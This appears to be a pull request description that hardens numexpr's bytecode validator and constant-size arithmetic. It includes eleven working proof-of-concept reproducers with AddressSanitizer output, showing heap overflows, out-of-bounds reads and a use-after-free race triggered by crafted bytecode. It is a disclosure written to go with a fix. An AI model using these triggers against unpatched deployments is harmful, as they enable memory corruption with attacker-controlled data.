Harden low-level VM bytecode validation and constant sizing

[nevercodecorrect]

Summary

This PR hardens the low-level interpreter.NumExpr bytecode boundary so malformed programs are rejected during construction instead of reaching unsafe VM paths.

Validation changes in check_program():

• require exact opcode/register type matches, removing the unsafe int32/int64 interchangeability exception;
• require instruction destinations to be the output or a temporary register, rejecting writes to input and constant registers;
• in a reduction program, allow only the final instruction to write the output register (a full reduction allocates it as a single element);
• enforce the string-copy form emitted by the compiler: output register 0 copied from register 1;
• reject string temporaries, whose item size is 0;
• check that fullsig describes exactly 1 + n_inputs + n_constants + n_temps registers, so an embedded NUL byte cannot desynchronize it from mem[];
• validate the location of operands stored in an extended instruction word before reading them; and
• reject empty or incomplete programs before deriving their return signature.

Lifetime and arithmetic changes:

• validation now runs before the program is installed on the object, so a rejected program is never left behind;
• NumExpr objects are single-initialization — a second __init__ on a built object raises instead of freeing register buffers that a concurrent run() may still be using. A failed __init__ installs nothing and can be retried;
• run() refuses to execute an object whose __init__ never completed (NumExpr.__new__(NumExpr)), which previously read program[-4];
• Use non-truncating string item sizes and checked arithmetic when calculating replicated constant storage.

One behavior fix outside the validator:

• stringcmp() no longer dereferences a zero-length operand, and an empty
  operand now sorts before a non-empty one, so a < b'' and a <= b'' agree
  with NumPy.

The generated bytecode path is unchanged. The stricter checks affect only
malformed or non-canonical programs supplied directly to the low-level
interpreter constructor.

Why

check_program() validated register indexes and most signature characters, but several gaps allowed crafted bytecode to produce width-confused loads/stores, writes into read-only iterator buffers, unchecked string copies, block-sized writes into a single-element reduction accumulator, and an out-of-bounds operand read.
Separately, constant storage was calculated with 32-bit arithmetic, allowing the allocation size to wrap before constants were copied into it, and the validator ran after the program had already been installed on the object, so a rejected program stayed runnable.

The string-copy restriction preserves the invariant already used by output dtype sizing (interpreter.cpp, retsig == 's' branch): the compiler emits copy_ss from register 1 to register 0.

Below Are POCs of the bugs

Reproducers (before the patch)

All eleven cases below were run against master (7031844) built with -fsanitize=address, CPython 3.12, NumPy 2.5.1, x86-64 Linux. Each is self-contained; import numpy as np and from numexpr import interpreter as I are assumed.

1. int32/int64 register-width confusion — heap overflow (write, 4096 bytes)

numexpr.set_num_threads(1)
prog = bytes([50, 2, 1, 1,      # add_lll -> reg2, which tempsig declares 'i'
              47, 0, 1, 0])     # copy_ll -> output
I.NumExpr(b'l', b'i', prog, (), (b'x',)).run(np.arange(1024, dtype=np.int64))

ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 8
    #0 vm_engine_iter_task numexpr/interp_body.cpp:284
0x... is located 0 bytes after 4096-byte region
    #1 get_temps_space numexpr/interpreter.cpp:655

An 'i' temporary is malloc(BLOCK_SIZE1 * 4); an 'l' opcode writes ((long long *)dest)[0..1023] = 8192 bytes into it.

2. OP_COPY_SS element-size confusion — heap overflow (write, 4096 bytes)

prog = bytes([116, 0, 2, 0])    # copy_ss r0 <- r2
ne = I.NumExpr(b'', b'', prog, (b'AAAA', b'B' * 4096), None)
ne(out=np.array([b'xxxx'], dtype='S4'), ex_uses_vml=False)

ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 4096 ... in memcpy
    #2 run_interpreter_const numexpr/interp_body.cpp:209
0x... is located 0 bytes after 4-byte region

The output string size is derived from register 1, but the copy source was register 2. Both length and contents can be attacker-controlled.

3. 32-bit rawmemsize overflow — heap overflow (write, 2 MB)

prog = bytes([116, 0, 1, 0])
I.NumExpr(b'', b'', prog,
          (b'A' * 2000000, b'B' * 2000000, b'C' * 194304), None)

ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 2000000 ... in memcpy
    #2 NumExpr_init numexpr/numexpr_object.cpp:290
0x... is located 0 bytes after 1-byte region
    #2 NumExpr_init numexpr/numexpr_object.cpp:217

The constant sizes sum to 2²², so sum * BLOCK_SIZE1 wraps to 0 in a 32-bit int. The overflow fires at construction, before any run().

4. Dead bounds check — out-of-bounds read at validation time

prog = bytes([0, 0, 0, 0]) * 255 + bytes([77, 0, 1, 2])   # where_fbff last
I.NumExpr(b'bff', b'', prog, (), (b'a', b'b', b'c'))

ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
    #0 check_program numexpr/interpreter.cpp:454
    #1 NumExpr_init numexpr/numexpr_object.cpp:348
0x... is located 0 bytes after 1057-byte region

The fourth operand lives at program[pc+5]; the guard tested pc + 1 >= prog_len, which the loop bounds make permanently false.

5. Store into a read-only input register — heap overflow (write)

numexpr.set_num_threads(1)
prog = bytes([116, 2, 2, 0,     # copy_ss -> INPUT reg2
              116, 2, 2, 0,
              116, 0, 2, 0])
I.NumExpr(b'bss', b'', prog, (), (b'a', b'b', b'c')).run(
    np.zeros(2048, dtype=bool),
    np.array([b'abcdefghijklmnop'] * 2048, dtype='S16'),
    np.array([b'abcdefghijklmnop'] * 2048, dtype='S16'))

ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 16 ... in memcpy
    #2 vm_engine_iter_task numexpr/interp_body.cpp:209
0x... is located 0 bytes after 2048-byte region

NumPy sizes the read buffer of an NPY_ITER_READONLY operand smaller than the VM block. The same store also reaches th_worker (numexpr/module.cpp) in the threaded engine.

6. Reduction output written by a non-final instruction — heap overflow (write)

numexpr.set_num_threads(1)
prog = bytes([88, 0, 1, 1,      # mul_ddd -> r0
              140, 0, 1, 0])    # min_ddn -> r0 (full reduction)
I.NumExpr(b'd', b'', prog, (), (b'x',)).run(np.arange(2048, dtype=np.float64))

ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 8
    #0 vm_engine_iter_task numexpr/interp_body.cpp:365
0x... is located 0 bytes after 8-byte region

A full reduction allocates the output as one element, but an ordinary opcode targeting register 0 writes a whole BLOCK_SIZE1 block — up to 8 KiB of attacker-chosen doubles past the end.

7. Rejected __init__ still installs its program — every check above bypassed

numexpr.set_num_threads(1)
nex = I.NumExpr(b's', b'', bytes([116, 0, 1, 0]), (), (b'x',))   # valid
bad = bytes([116, 2, 2, 0, 116, 2, 2, 0, 116, 0, 2, 0])          # case 5
try:
    nex.__init__(b'bss', b'', bad, (), (b'a', b'b', b'c'))
except RuntimeError:
    pass                                    # validation *did* reject it ...
nex.run(np.zeros(2048, dtype=bool),         # ... and it runs anyway
        np.array([b'abcdefghijklmnop'] * 2048, dtype='S16'),
        np.array([b'abcdefghijklmnop'] * 2048, dtype='S16'))

Same ASAN report as case 5. NumExpr_init installed the program before calling check_program(), so raising from __init__ did not undo the installation.

8. Concurrent __init__ during run() — heap corruption / use-after-free

import threading
prog = bytes([86, 0, 1, 1])                 # add_ddd r0 <- r1 + r1
nex = I.NumExpr(b'd', b'', prog, (), (b'x',))
big = np.arange(4_000_000, dtype=np.float64)
stop = []
def reinit():
    while not stop:
        nex.__init__(b'd', b'ddd', prog, (1.0, 2.0, 3.0), (b'x',))
        nex.__init__(b'd', b'', prog, (), (b'x',))
t = threading.Thread(target=reinit); t.start()
for _ in range(200):
    nex.run(big, ex_uses_vml=False)
stop.append(1); t.join()

ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 ... T40
    #1 NumExpr_init numexpr/numexpr_object.cpp:219   (in PyMem_Malloc)

run_interpreter() captures params.mem = self->mem and releases the GIL; REPLACE_MEM then PyMem_Del()s those buffers underneath the running interpreter. The same race was also observed as heap-use-after-free READ ... th_worker numexpr/module.cpp with the free attributed to NumExpr_init.

9. String temporary — read from a zero-length allocation

numexpr.set_num_threads(1)
nex = I.NumExpr(b's', b's', bytes([26, 0, 2, 2]), (), (b'x',))   # eq_bss on reg2
nex.run(np.array([b'abcdefgh'] * 1024, dtype='S8'))

Constructs and runs. size_from_char('s') == 0, so the temporary is malloc(BLOCK_SIZE1 * 0) and stringcmp()'s if (maxlen2 == 0) return *s1 != null; dereferences it. Not ASAN-visible on this toolchain (a 1-byte read at amalloc(0) pointer is not flagged — confirmed with a standalone C test), but it is out of bounds per the C abstract machine and reads uninitialized memory.
numexpr_object.cpp already documents the assumption that "there are no string temporaries"; this makes it true.

10. Embedded NUL desynchronizes fullsig from the register map

nex = I.NumExpr(b'i\x00i', b'd', bytes([83, 0, 2, 0]), (), (b'a', b'b', b'c'))
print(nex.fullsig)      # b'did'  -- claims r2 is a double

Constructs. fullsig is built with PyBytes_FromFormat("%c%s%s%s", ...), whose %s stops at the first NUL, so every register index past the NUL is described by the wrong signature character — defeating the type and temporaries checks. It is currently unexploitable only by accident (typecode_from_char('\ 0') fails later, so run() always errors first), i.e., the safety of the validator rested on an unstated invariant.

11. Ordering against an empty string disagrees with NumPy (correctness, not
memory safety)

a = np.array([b'foo', b'', b'bar'])
numexpr.evaluate("a < b''")     # [ True False  True]   NumPy: [False False False]
numexpr.evaluate("a <= b''")    # [ True  True  True]   NumPy: [False  True False]

stringcmp() returned +1 ("s1 > s2") when s1 was the empty operand.

After the patch, cases 1–10 are rejected at construction (or, for case 8, at the second __init__) and case 11 matches NumPy exactly.